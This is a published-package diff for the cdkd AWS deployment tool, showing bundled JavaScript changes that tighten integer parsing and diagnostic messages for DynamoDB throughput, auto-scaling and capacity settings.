@go-to-k/cdkd 0.290.4 → 0.290.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-NffO_bpL.js → asg-provider-CsdVn4cg.js} +2 -2
- package/dist/{asg-provider-NffO_bpL.js.map → asg-provider-CsdVn4cg.js.map} +1 -1
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-DD7JE_Ic.js → deploy-engine-BU7n9_qY.js} +387 -65
- package/dist/deploy-engine-BU7n9_qY.js.map +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-20PIJFu9.js → program-Cl3fCD6-.js} +573 -122
- package/dist/{program-20PIJFu9.js.map → program-Cl3fCD6-.js.map} +1 -1
- package/dist/{version-BUcQz4SU.js → version-BvSdNpMz.js} +2 -2
- package/dist/{version-BUcQz4SU.js.map → version-BvSdNpMz.js.map} +1 -1
- package/package.json +1 -1
- package/dist/deploy-engine-DD7JE_Ic.js.map +0 -1
|
@@ -1,8 +1,8 @@
|
|
|
1
|
-
import { $ as secretSafeKeyDisplay, $n as
|
|
1
|
+
import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-BU7n9_qY.js";
|
|
2
2
|
import { S as truncateCodePoints, _ as withSkipPrefix, b as displayIdent, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displaySafe, y as UNRENDERABLE } from "./logger-th1myfgh.js";
|
|
3
3
|
import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
|
|
4
|
-
import { t as getCdkdVersion } from "./version-
|
|
5
|
-
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-
|
|
4
|
+
import { t as getCdkdVersion } from "./version-BvSdNpMz.js";
|
|
5
|
+
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-CsdVn4cg.js";
|
|
6
6
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
7
7
|
import { createHash, randomBytes, randomUUID } from "node:crypto";
|
|
8
8
|
import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -18953,7 +18953,7 @@ var DynamoDBTableProvider = class {
|
|
|
18953
18953
|
const warn = (message) => this.logger.warn(maskSecrets(message));
|
|
18954
18954
|
const coerced = coerceWarmThroughput(value);
|
|
18955
18955
|
if (coerced === void 0) return void 0;
|
|
18956
|
-
if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a
|
|
18956
|
+
if (coerced.dropped.length > 0) warn(`${scope}: WarmThroughput member(s) ${coerced.dropped.join(", ")} in ${JSON.stringify(maskLeafValue$1(value, maskSecrets))} are not a number DynamoDB accepts, so they were dropped from the request, which leaves ${JSON.stringify(maskLeafValue$1(coerced.spec, maskSecrets))}. Check for an unresolved intrinsic or a spelling CloudFormation would reject: an Integer here is an optional sign and decimal digits only (no surrounding whitespace, hex, exponent or decimal point).`);
|
|
18957
18957
|
return coerced.spec;
|
|
18958
18958
|
}
|
|
18959
18959
|
/**
|
|
@@ -20726,10 +20726,10 @@ var DynamoDBGlobalTableProvider = class {
|
|
|
20726
20726
|
const watch = startInterruptWatch(`DynamoDB auto-scaling for ${tableName}`);
|
|
20727
20727
|
try {
|
|
20728
20728
|
if (newEnabled) {
|
|
20729
|
-
const minCapacity =
|
|
20730
|
-
const maxCapacity =
|
|
20731
|
-
if (
|
|
20732
|
-
warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be
|
|
20729
|
+
const minCapacity = coerceCfnInteger(newSettings["MinCapacity"] ?? 0);
|
|
20730
|
+
const maxCapacity = coerceCfnInteger(newSettings["MaxCapacity"] ?? 0);
|
|
20731
|
+
if (minCapacity === void 0 || maxCapacity === void 0) {
|
|
20732
|
+
warn(`Cannot apply auto-scaling diff on ${tableName} (${dimension}): MinCapacity / MaxCapacity must be integers CloudFormation accepts (an optional sign and decimal digits; no surrounding whitespace, hex, exponent or decimal point), got ${maskSecrets(String(newSettings["MinCapacity"]))} / ${maskSecrets(String(newSettings["MaxCapacity"]))}`);
|
|
20733
20733
|
return;
|
|
20734
20734
|
}
|
|
20735
20735
|
try {
|
|
@@ -20761,8 +20761,16 @@ var DynamoDBGlobalTableProvider = class {
|
|
|
20761
20761
|
PredefinedMetricSpecification: { PredefinedMetricType: metricType },
|
|
20762
20762
|
TargetValue: targetValue
|
|
20763
20763
|
};
|
|
20764
|
-
|
|
20765
|
-
|
|
20764
|
+
for (const cooldown of ["ScaleInCooldown", "ScaleOutCooldown"]) {
|
|
20765
|
+
const raw = tttCfg[cooldown];
|
|
20766
|
+
if (raw === void 0) continue;
|
|
20767
|
+
const seconds = coerceCfnInteger(raw);
|
|
20768
|
+
if (seconds === void 0) {
|
|
20769
|
+
warn(`Auto-scaling policy on ${tableName} (${dimension}): TargetTrackingScalingPolicyConfiguration.${cooldown} is not an integer CloudFormation accepts (got ${JSON.stringify(maskDeep(raw, maskSecrets))?.slice(0, 80)}), so it is omitted and the service default applies.`);
|
|
20770
|
+
continue;
|
|
20771
|
+
}
|
|
20772
|
+
targetTrackingConfig[cooldown] = seconds;
|
|
20773
|
+
}
|
|
20766
20774
|
if (tttCfg["DisableScaleIn"] !== void 0) targetTrackingConfig["DisableScaleIn"] = Boolean(tttCfg["DisableScaleIn"]);
|
|
20767
20775
|
try {
|
|
20768
20776
|
await withRetry(() => asClient.send(new PutScalingPolicyCommand({
|
|
@@ -22145,13 +22153,13 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
|
|
|
22145
22153
|
return {
|
|
22146
22154
|
...scope,
|
|
22147
22155
|
...indexName !== void 0 && { indexName },
|
|
22148
|
-
message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one.`
|
|
22156
|
+
message: `WarmThroughput.${dropped} did not resolve to a number and was DROPPED; ${kept} is still sent. AWS types these as numbers, so a quoted "12000" is fine but an unresolved intrinsic or an object is not. The dropped member keeps its current AWS value until the template supplies a usable one. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
|
|
22149
22157
|
};
|
|
22150
22158
|
}
|
|
22151
22159
|
return {
|
|
22152
22160
|
...scope,
|
|
22153
22161
|
...indexName !== void 0 && { indexName },
|
|
22154
|
-
message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected.`
|
|
22162
|
+
message: `WarmThroughput is declared but no member resolved to a number${dropped ? ` (${dropped})` : ""}, so the whole block is REFUSED and not sent. Forwarding it would fail as an opaque AWS validation error naming neither cdkd nor the property. Set WarmThroughput.ReadUnitsPerSecond / WriteUnitsPerSecond to numbers, or remove the block. Nothing else about the index is affected. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
|
|
22155
22163
|
};
|
|
22156
22164
|
}
|
|
22157
22165
|
/**
|
|
@@ -22165,9 +22173,10 @@ function warmThroughputDiagnostic(raw, coercion, indexName) {
|
|
|
22165
22173
|
* the pre-fix code forwarded such a block VERBATIM. Three defects followed, and fixing any subset leaves a
|
|
22166
22174
|
* live one, which is why this helper does all three at once:
|
|
22167
22175
|
*
|
|
22168
|
-
* 1. **Coercion.** The verbatim forward was the ONE path that skipped
|
|
22169
|
-
*
|
|
22170
|
-
*
|
|
22176
|
+
* 1. **Coercion.** The verbatim forward was the ONE path that skipped the
|
|
22177
|
+
* numeric reader (`coerceCfnInteger` since issue #3135), so a
|
|
22178
|
+
* stringly-typed CFn `"5"` reached the SDK unnormalized while every
|
|
22179
|
+
* derived value was a number.
|
|
22171
22180
|
* 2. **Per-member merge.** Whole-block replacement meant a PARTIAL explicit
|
|
22172
22181
|
* block SUPPRESSED valid derived siblings — an explicit
|
|
22173
22182
|
* `{MaxReadRequestUnits: 41}` discarded a perfectly good
|
|
@@ -22194,16 +22203,17 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
|
|
|
22194
22203
|
const out = {};
|
|
22195
22204
|
for (const member of members) {
|
|
22196
22205
|
if (explicit && explicit[member] !== void 0) {
|
|
22197
|
-
const coerced =
|
|
22206
|
+
const coerced = coerceCfnInteger(explicit[member]);
|
|
22198
22207
|
if (coerced !== void 0) {
|
|
22199
22208
|
out[member] = coerced;
|
|
22200
22209
|
continue;
|
|
22201
22210
|
}
|
|
22211
|
+
const standIn = derived?.[member];
|
|
22202
22212
|
diagnostics?.push({
|
|
22203
22213
|
kind: "unresolved-member",
|
|
22204
22214
|
...context.indexName !== void 0 && { indexName: context.indexName },
|
|
22205
22215
|
member,
|
|
22206
|
-
message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so it was ignored. This is usually an unresolved intrinsic; resolve it to a literal
|
|
22216
|
+
message: `${context.blockName}.${member} is present but did not resolve to a number (${JSON.stringify(maskDeep(explicit[member], maskSecrets))?.slice(0, 80)}), so ` + (typeof standIn === "number" ? `it was ignored and ${standIn} was sent instead. ` : `it was ignored. `) + "This is usually an unresolved intrinsic; resolve it to a literal. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way."
|
|
22207
22217
|
});
|
|
22208
22218
|
}
|
|
22209
22219
|
const derivedValue = derived?.[member];
|
|
@@ -22227,12 +22237,12 @@ function mergeExplicitThroughputBlock(explicit, derived, members, diagnostics, c
|
|
|
22227
22237
|
function reportUnresolvedRawMember(rawValue, diagnostics, context, maskSecrets = (text) => text) {
|
|
22228
22238
|
if (!diagnostics) return;
|
|
22229
22239
|
if (rawValue === void 0) return;
|
|
22230
|
-
if (
|
|
22240
|
+
if (coerceCfnInteger(rawValue) !== void 0) return;
|
|
22231
22241
|
diagnostics.push({
|
|
22232
22242
|
kind: "unresolved-member",
|
|
22233
22243
|
...context.indexName !== void 0 && { indexName: context.indexName },
|
|
22234
22244
|
member: context.member,
|
|
22235
|
-
message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it.`
|
|
22245
|
+
message: `${context.blockName}.${context.member} is declared but did not resolve to a number (${JSON.stringify(maskDeep(rawValue, maskSecrets))?.slice(0, 80)}), so no throughput value was sent for it and the live AWS setting was left unchanged. This is usually an unresolved intrinsic; resolve it to a literal to apply the limit, or remove the property entirely to clear it. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
|
|
22236
22246
|
});
|
|
22237
22247
|
}
|
|
22238
22248
|
/**
|
|
@@ -22320,7 +22330,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
|
|
|
22320
22330
|
kind: "unresolved-member",
|
|
22321
22331
|
...context.indexName !== void 0 && { indexName: context.indexName },
|
|
22322
22332
|
member: blame.relPath ? blame.relPath.slice(blame.relPath.lastIndexOf(".") + 1) : context.blockName.slice(context.blockName.lastIndexOf(".") + 1),
|
|
22323
|
-
message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared.`
|
|
22333
|
+
message: `${path} is declared but did not resolve to a number (${JSON.stringify(maskDeep(blame.value, maskSecrets))?.slice(0, 80)}), ${consequence}. This is usually an unresolved intrinsic; resolve it to a literal to apply the capacity you declared. CloudFormation types this member as an Integer and accepts only an optional sign and decimal digits (no surrounding whitespace, hex, exponent or decimal point), so a spelling it would reject is treated the same way.`
|
|
22324
22334
|
});
|
|
22325
22335
|
}
|
|
22326
22336
|
/**
|
|
@@ -22347,7 +22357,7 @@ function reportUnresolvedProvisionedCapacity(rawSettings, side, source, outcome,
|
|
|
22347
22357
|
*/
|
|
22348
22358
|
function deriveWriteCapacityUnits(settings, source = "min") {
|
|
22349
22359
|
if (!settings) return void 0;
|
|
22350
|
-
const literal =
|
|
22360
|
+
const literal = coerceCfnInteger(settings["WriteCapacityUnits"]);
|
|
22351
22361
|
if (literal !== void 0) return literal;
|
|
22352
22362
|
const autoScaling = asRecord$1(settings["WriteCapacityAutoScalingSettings"]);
|
|
22353
22363
|
if (!autoScaling) return void 0;
|
|
@@ -22363,7 +22373,7 @@ function deriveWriteCapacityUnits(settings, source = "min") {
|
|
|
22363
22373
|
*/
|
|
22364
22374
|
function deriveReadCapacityUnits(settings, source = "min") {
|
|
22365
22375
|
if (!settings) return void 0;
|
|
22366
|
-
const literal =
|
|
22376
|
+
const literal = coerceCfnInteger(settings["ReadCapacityUnits"]);
|
|
22367
22377
|
if (literal !== void 0) return literal;
|
|
22368
22378
|
const autoScaling = asRecord$1(settings["ReadCapacityAutoScalingSettings"]);
|
|
22369
22379
|
if (!autoScaling) return void 0;
|
|
@@ -22371,9 +22381,9 @@ function deriveReadCapacityUnits(settings, source = "min") {
|
|
|
22371
22381
|
}
|
|
22372
22382
|
/** Resolve a `*CapacityAutoScalingSettings` block to one number. */
|
|
22373
22383
|
function pickAutoScalingCapacity(autoScaling, source) {
|
|
22374
|
-
const min =
|
|
22375
|
-
if (source === "min") return min ??
|
|
22376
|
-
return
|
|
22384
|
+
const min = coerceCfnInteger(autoScaling["MinCapacity"]);
|
|
22385
|
+
if (source === "min") return min ?? coerceCfnInteger(autoScaling["SeedCapacity"]);
|
|
22386
|
+
return coerceCfnInteger(autoScaling["SeedCapacity"]) ?? min;
|
|
22377
22387
|
}
|
|
22378
22388
|
/**
|
|
22379
22389
|
* Translate the CFn `AWS::DynamoDB::GlobalTable` `GlobalSecondaryIndexes[]`
|
|
@@ -22470,7 +22480,7 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
|
|
|
22470
22480
|
const rawWrite = gsi["WriteProvisionedThroughputSettings"];
|
|
22471
22481
|
const derivedRead = deriveReadCapacityUnits(asRecord$1(rawLocalRead), source) ?? deriveReadCapacityUnits(asRecord$1(rawGsiRead), source);
|
|
22472
22482
|
const derivedWrite = deriveWriteCapacityUnits(asRecord$1(rawWrite), source);
|
|
22473
|
-
const explicitCovers = (member) => explicitProvisioned !== void 0 &&
|
|
22483
|
+
const explicitCovers = (member) => explicitProvisioned !== void 0 && coerceCfnInteger(explicitProvisioned[member]) !== void 0;
|
|
22474
22484
|
if (derivedRead === void 0 && !explicitCovers("ReadCapacityUnits")) {
|
|
22475
22485
|
const fromReplica = rawLocalRead !== void 0;
|
|
22476
22486
|
reportUnresolvedProvisionedCapacity(fromReplica ? rawLocalRead : rawGsiRead, "Read", source, { appliedUnits: DEFAULT_CAPACITY_UNITS }, diagnostics, {
|
|
@@ -22503,8 +22513,8 @@ function toSdkGlobalSecondaryIndexes(properties, region, billingMode, source = "
|
|
|
22503
22513
|
blockName: rawReadLocal !== void 0 ? "Replicas[local].GlobalSecondaryIndexes[].ReadOnDemandThroughputSettings" : "ReadOnDemandThroughputSettings",
|
|
22504
22514
|
member: "MaxReadRequestUnits"
|
|
22505
22515
|
}, maskSecrets);
|
|
22506
|
-
const maxWrite =
|
|
22507
|
-
const maxRead =
|
|
22516
|
+
const maxWrite = coerceCfnInteger(rawWrite);
|
|
22517
|
+
const maxRead = coerceCfnInteger(rawReadLocal) ?? coerceCfnInteger(rawReadGsi);
|
|
22508
22518
|
const merged = mergeExplicitThroughputBlock(explicitOnDemand, {
|
|
22509
22519
|
...maxRead !== void 0 && { MaxReadRequestUnits: maxRead },
|
|
22510
22520
|
...maxWrite !== void 0 && { MaxWriteRequestUnits: maxWrite }
|
|
@@ -22797,7 +22807,7 @@ function isUnresolvedIntrinsicBlock(value) {
|
|
|
22797
22807
|
* The per-GSI reset needs to know "did the template DROP this member", and the
|
|
22798
22808
|
* only faithful answer is whether the CFn key is THERE — not whether its value
|
|
22799
22809
|
* coerced. `toSdkGlobalSecondaryIndexes` runs every value through
|
|
22800
|
-
*
|
|
22810
|
+
* `coerceCfnInteger`, which returns `undefined` for a present-but-
|
|
22801
22811
|
* unparseable value (an unresolved `{Ref: …}`, `''`, an object). Deciding
|
|
22802
22812
|
* "dropped" from that collapsed view sent the `-1` reset for a member the
|
|
22803
22813
|
* template was actively trying to SET, silently clearing the ceiling — the same
|
|
@@ -22914,8 +22924,8 @@ function collectUncomparableCapacityGsiNames(properties, region) {
|
|
|
22914
22924
|
continue;
|
|
22915
22925
|
}
|
|
22916
22926
|
const explicitProvisioned = asRecord$1(gsi["ProvisionedThroughput"]);
|
|
22917
|
-
const derivedRead =
|
|
22918
|
-
const derivedWrite =
|
|
22927
|
+
const derivedRead = coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[0])) ?? deriveReadCapacityUnits(asRecord$1(readBlocks[1]));
|
|
22928
|
+
const derivedWrite = coerceCfnInteger(explicitProvisioned?.["WriteCapacityUnits"]) ?? deriveWriteCapacityUnits(asRecord$1(writeBlock));
|
|
22919
22929
|
if (derivedRead === void 0 || derivedWrite === void 0) out.add(name);
|
|
22920
22930
|
}
|
|
22921
22931
|
return out;
|
|
@@ -23068,7 +23078,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
|
|
|
23068
23078
|
if (billingMode === "PROVISIONED") {
|
|
23069
23079
|
const rawRead = cfn["ReadProvisionedThroughputSettings"];
|
|
23070
23080
|
const readCapacity = deriveReadCapacityUnits(asRecord$1(rawRead));
|
|
23071
|
-
if (readCapacity === void 0 &&
|
|
23081
|
+
if (readCapacity === void 0 && coerceCfnInteger(explicitProvisioned?.["ReadCapacityUnits"]) === void 0) reportUnresolvedProvisionedCapacity(rawRead, "Read", "min", { suppressed: "so no ProvisionedThroughputOverride was sent and the replica keeps the source table's read capacity" }, diagnostics, {
|
|
23072
23082
|
...context,
|
|
23073
23083
|
blockName: "ReadProvisionedThroughputSettings"
|
|
23074
23084
|
}, maskSecrets);
|
|
@@ -23084,7 +23094,7 @@ function toSdkReplicaThroughputOverrides(cfn, billingMode, diagnostics, context,
|
|
|
23084
23094
|
blockName: "ReadOnDemandThroughputSettings",
|
|
23085
23095
|
member: "MaxReadRequestUnits"
|
|
23086
23096
|
}, maskSecrets);
|
|
23087
|
-
const maxReadRequestUnits =
|
|
23097
|
+
const maxReadRequestUnits = coerceCfnInteger(rawMaxRead);
|
|
23088
23098
|
const merged = mergeExplicitThroughputBlock(explicitOnDemand, maxReadRequestUnits !== void 0 ? { MaxReadRequestUnits: maxReadRequestUnits } : void 0, ["MaxReadRequestUnits"], diagnostics, {
|
|
23089
23099
|
...context,
|
|
23090
23100
|
blockName: "OnDemandThroughputOverride"
|
|
@@ -23127,11 +23137,11 @@ function collectTableOnDemandCeilings(properties, region, diagnostics, maskSecre
|
|
|
23127
23137
|
return {
|
|
23128
23138
|
read: {
|
|
23129
23139
|
declared: rawRead !== void 0 || isUnresolvedIntrinsicBlock(readBlock),
|
|
23130
|
-
value:
|
|
23140
|
+
value: coerceCfnInteger(rawRead)
|
|
23131
23141
|
},
|
|
23132
23142
|
write: {
|
|
23133
23143
|
declared: rawWrite !== void 0 || isUnresolvedIntrinsicBlock(writeBlock),
|
|
23134
|
-
value:
|
|
23144
|
+
value: coerceCfnInteger(rawWrite)
|
|
23135
23145
|
}
|
|
23136
23146
|
};
|
|
23137
23147
|
}
|
|
@@ -26555,6 +26565,19 @@ const SG_INGRESS_IP_PROTOCOL_DEFAULT = "-1";
|
|
|
26555
26565
|
/** The refusal path both the create guard and the canonicalizer report under. */
|
|
26556
26566
|
const SG_INGRESS_IP_PROTOCOL_PATH = "AWS::EC2::SecurityGroupIngress IpProtocol";
|
|
26557
26567
|
/**
|
|
26568
|
+
* Bounded eventual-consistency retry for the `DescribeSecurityGroups`
|
|
26569
|
+
* read-back (`readSecurityGroupVpcId`, issue #3097): an answer
|
